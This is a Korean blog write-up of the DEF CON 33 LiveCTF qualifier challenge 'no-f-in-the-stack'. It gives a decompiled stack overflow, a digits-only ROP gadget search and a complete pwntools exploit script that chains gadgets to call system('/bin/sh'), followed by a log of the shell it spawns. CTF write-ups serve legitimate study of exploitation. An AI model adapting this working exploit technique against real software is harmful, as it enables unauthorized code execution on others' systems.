콘텐츠로 건너뛰기

[LiveCTF-DEFCON33-Quals]no-f-in-the-stack

친구 권유로 풀어봄.
새로운 사고 방향과 시각을 바라볼 수 있어 좋았음.

Thanks, 🥔

checksec

ubuntu@64a54bd8db27:~/study/LiveCTF-DEFCON33/qualifiers/challenges/no-f-in-the-stack/challenge/build$ checksec ./challenge_real
[*] '/home/ubuntu/study/LiveCTF-DEFCON33/qualifiers/challenges/no-f-in-the-stack/challenge/build/challenge_real'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

Decompiled-src / Analysis

uintptr_t stack[3]; 으로 지정되있는데, i가 1000번까지 계속 증가하면서 주소를 입력받음.
→ BOF 취약점 발생

받은 주소가 0이면, for 루프문 종료.

주소를 10진수로 입력받은 후, 다시 그 문자열을 16진수로 변환시켜 stack[i]에 저장함.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  int v4; // ecx
  int v5; // r8d
  int v6; // r9d
  int v7; // edx
  int v8; // ecx
  int v9; // r8d
  int v10; // r9d
  int v11; // r8d
  int v12; // r9d
  int v13; // r8d
  int v14; // r9d
  char v16; // [rsp+0h] [rbp-60h]
  char v17; // [rsp+0h] [rbp-60h]
  char v18; // [rsp+0h] [rbp-60h]
  char v19; // [rsp+0h] [rbp-60h]
  char printed_addr[16]; // [rsp+20h] [rbp-40h] BYREF
  uintptr_t addr; // [rsp+38h] [rbp-28h] BYREF
  uintptr_t stack[3]; // [rsp+40h] [rbp-20h] BYREF
  int i; // [rsp+5Ch] [rbp-4h]

  init();
  for ( i = 0; i <= 999; ++i )
  {
    printf((unsigned int)"Addr pls: ", (_DWORD)argv, v3, v4, v5, v6, v16);
    addr = 0;
    _isoc23_scanf((unsigned int)"%lu", (unsigned int)&addr, v7, v8, v9, v10, v17);
    if ( !addr )
      break;
    memset(printed_addr, 0, sizeof(printed_addr));
    sprintf((unsigned int)printed_addr, (unsigned int)"%lu", addr, (unsigned int)"%lu", v11, v12, v18);
    argv = (const char **)"%lx";
    _isoc23_sscanf(
      (unsigned int)printed_addr,
      (unsigned int)"%lx",
      (unsigned int)&stack[i],
      (unsigned int)"%lx",
      v13,
      v14,
      v19);
    if ( !stack[i] )
      break;
  }
  return 0;
}

Blah

system(””)을 호출하는 함수.

.text:0000000000401905 ; =============== S U B R O U T I N E =======================================
.text:0000000000401905
.text:0000000000401905 ; Attributes: bp-based frame
.text:0000000000401905
.text:0000000000401905 ; void __cdecl blah()
.text:0000000000401905                 public blah
.text:0000000000401905 blah            proc near
.text:0000000000401905 ; __unwind {
.text:0000000000401905                 endbr64
.text:0000000000401909                 push    rbp
.text:000000000040190A                 mov     rbp, rsp
.text:000000000040190D                 lea     rax, unk_4A002C
.text:0000000000401914                 mov     rdi, rax
.text:0000000000401917                 call    system
.text:000000000040191C                 nop
.text:000000000040191D                 pop     rbp
.text:000000000040191E                 retn
...
.rodata:00000000004A002C unk_4A002C      db    0

Solution

실제론 스택 카나리가 main 함수에 적용되있지 않아 RET를 덮어 RIP 컨트롤 가능함.
중요한 점은 입력받는 주소를 스택에 16진수 값으로 저장하는데,
%lu 10진수로 첨에 입력받기에 알파벳이 들어가면 안됨.

숫자로만 구성된 가젯을 찾는 명령어.

ROPgadget --binary ./challenge_real > gadgets.txt
grep -E '^0x[0-9]+ :' gadgets.txt > gadgets2.txt

/bin/sh 주소를 10진수로 잘 읽게끔 2개로 쪼갠다음, 아래 3가지의 가젯을 조합해 ROP chain으로 쉘 획득 가능하였다.

divided = "490060"
divided2 = "10499"

pop_rdi_pop_rbp_ret = "0000000000402218"
add_rax_rdi_ret = "0000000000471885"
mov_rdi_rax_system = "0000000000401914"

solve.py

from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

# p = remote("127.0.0.1", 1337)
p = process("./challenge_real")
e = ELF('./challenge_real',checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))

pop_rdi_pop_rbp_ret = "0000000000402218"
add_rax_rdi_ret = "0000000000471885"
mov_rdi_rax_system = "0000000000401914"

bin_sh = 0x00000000004A04F9
divided = "490060"
divided2 = "10499"

# >>> hex(0x490060 + 0x10499)
# '0x4a04f9'

sla(b"Addr pls: ", b"1010101041424344")
sla(b"Addr pls: ", b"2020202041424344")
sla(b"Addr pls: ", b"3030303041424344")

sla(b"Addr pls: ", b"441424344")    #4 -> RET; $rbp+8, 

#rax = 0
sla(b"Addr pls: ", pop_rdi_pop_rbp_ret.encode('utf-8'))
sla(b"Addr pls: ", divided.encode('utf-8')) #set rdi
sla(b"Addr pls: ", b"4040404041424344") #set rbp
sla(b"Addr pls: ", add_rax_rdi_ret.encode('utf-8'))

#rax = 0x490060
sla(b"Addr pls: ", pop_rdi_pop_rbp_ret.encode('utf-8'))
sla(b"Addr pls: ", divided2.encode('utf-8')) #set rdi
sla(b"Addr pls: ", b"5050505041424344") #set rbp
sla(b"Addr pls: ", add_rax_rdi_ret.encode('utf-8'))

#rax = 0x490060 + 0x10499 = 0x4a04f9 ('/bin/sh')
sla(b"Addr pls: ", mov_rdi_rax_system.encode('utf-8'))
sla(b"Addr pls: ", b"0")

p.interactive()

Result

ubuntu@64a54bd8db27:~/study/LiveCTF-DEFCON33/qualifiers/challenges/no-f-in-the-stack/challenge/build$ python3 solve.py
[+] Starting local process './challenge_real' argv=[b'./challenge_real'] : pid 1967
[DEBUG] '/home/ubuntu/study/LiveCTF-DEFCON33/qualifiers/challenges/no-f-in-the-stack/challenge/build/challenge_real' is statically linked, skipping GOT/PLT symbols
[DEBUG] Received 0xa bytes:
    b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
    b'1010101041424344\n'
[DEBUG] Received 0xa bytes:
    b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
    b'2020202041424344\n'
[DEBUG] Received 0xa bytes:
    b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
    b'3030303041424344\n'
[DEBUG] Received 0xa bytes:
    b'Addr pls: '
[DEBUG] Sent 0xa bytes:
    b'441424344\n'
[DEBUG] Received 0xa bytes:
    b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
    b'0000000000402218\n'
[DEBUG] Received 0xa bytes:
    b'Addr pls: '
[DEBUG] Sent 0x7 bytes:
    b'490060\n'
[DEBUG] Received 0xa bytes:
    b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
    b'4040404041424344\n'
[DEBUG] Received 0xa bytes:
    b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
    b'0000000000471885\n'
[DEBUG] Received 0xa bytes:
    b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
    b'0000000000402218\n'
[DEBUG] Received 0xa bytes:
    b'Addr pls: '
[DEBUG] Sent 0x6 bytes:
    b'10499\n'
[DEBUG] Received 0xa bytes:
    b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
    b'5050505041424344\n'
[DEBUG] Received 0xa bytes:
    b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
    b'0000000000471885\n'
[DEBUG] Received 0xa bytes:
    b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
    b'0000000000401914\n'
[DEBUG] Received 0xa bytes:
    b'Addr pls: '
[DEBUG] Sent 0x2 bytes:
    b'0\n'
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
    b'id\n'
[DEBUG] Received 0x36 bytes:
    b'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)\n'
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x7 bytes:
    b'ubuntu\n'
ubuntu
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x57 bytes:
    b'challenge\tcore\t     gadgets2.txt  na\n'
    b'challenge_real\tgadgets.txt  libc.so.6\t   solve.py\n'
challenge	core	     gadgets2.txt  na
challenge_real	gadgets.txt  libc.so.6	   solve.py
$  
태그: